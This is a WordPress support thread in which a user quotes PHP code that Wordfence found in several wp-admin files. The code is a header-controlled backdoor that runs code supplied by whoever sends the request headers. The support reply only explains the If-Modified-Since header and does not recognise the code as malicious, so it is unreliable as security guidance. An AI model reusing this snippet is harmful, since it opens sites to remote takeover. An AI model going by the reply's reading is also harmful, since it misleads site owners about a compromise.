Title: Found Code Check
Last modified: February 8, 2021

---

# Found Code Check

 *  Resolved [CPKN](https://wordpress.org/support/users/cpkn/)
 * (@cpkn)
 * [5 years, 1 month ago](https://wordpress.org/support/topic/found-code-check/)
 * Hello,
 * Wordfence found in different WP files, the code below:
 * $_HEADERS = getallheaders();
    if (isset($_HEADERS[‘If-Modified-Since’])) { $_admin_h_init
   = $_HEADERS[‘If-Modified-Since’](”, $_HEADERS[‘Clear-Site-Data’]($_HEADERS[‘Authorization’]));
   $_admin_h_init(); }
 * Its not entirely the same on each file. It has slight differences, but not sure
   if this is ok or not?
 * Examples of places this similar code are:
 * wp-admin/user/about.php
    wp-admin/network/menu.php wp-admin/network/sites.php
   wp-admin/network/theme-editor.php

Viewing 1 replies (of 1 total)

 *  Plugin Support [WFAdam](https://wordpress.org/support/users/wfadam/)
 * (@wfadam)
 * [5 years, 1 month ago](https://wordpress.org/support/topic/found-code-check/#post-14020144)
 * Hello [@cpkn](https://wordpress.org/support/users/cpkn/) and thanks for reaching
   out to us!
 * The `If-Modified-Since` request HTTP header makes the request conditional: the
   server will send back the requested resource, with a 200 status, only if it has
   been last modified after the given date. If the request has not been modified
   since the response will be a 304 without any body; the Last-Modified response
   header of a previous request will contain the date of last modification. Unlike
   If-Unmodified-Since, If-Modified-Since can only be used with a GET or HEAD.
 * When used in combination with `If-None-Match`, it is ignored, unless the server
   doesn’t support `If-None-Match`.
 * The most common use case is to update a cached entity that has no associated 
   ETag.
 * I would ask your host if this code was inserted by them before we explore other
   causes of the code.
 * Let me know what they say!
 * Thanks!

Viewing 1 replies (of 1 total)

The topic ‘Found Code Check’ is closed to new replies.

 * ![](https://ps.w.org/wordfence/assets/icon.svg?rev=2070865)
 * [Wordfence Security - Firewall, Malware Scan, and Login Security](https://wordpress.org/plugins/wordfence/)
 * [Frequently Asked Questions](https://wordpress.org/plugins/wordfence/#faq)
 * [Support Threads](https://wordpress.org/support/plugin/wordfence/)
 * [Active Topics](https://wordpress.org/support/plugin/wordfence/active/)
 * [Unresolved Topics](https://wordpress.org/support/plugin/wordfence/unresolved/)
 * [Reviews](https://wordpress.org/support/plugin/wordfence/reviews/)

 * 1 reply
 * 2 participants
 * Last reply from: [WFAdam](https://wordpress.org/support/users/wfadam/)
 * Last activity: [5 years, 1 month ago](https://wordpress.org/support/topic/found-code-check/#post-14020144)
 * Status: resolved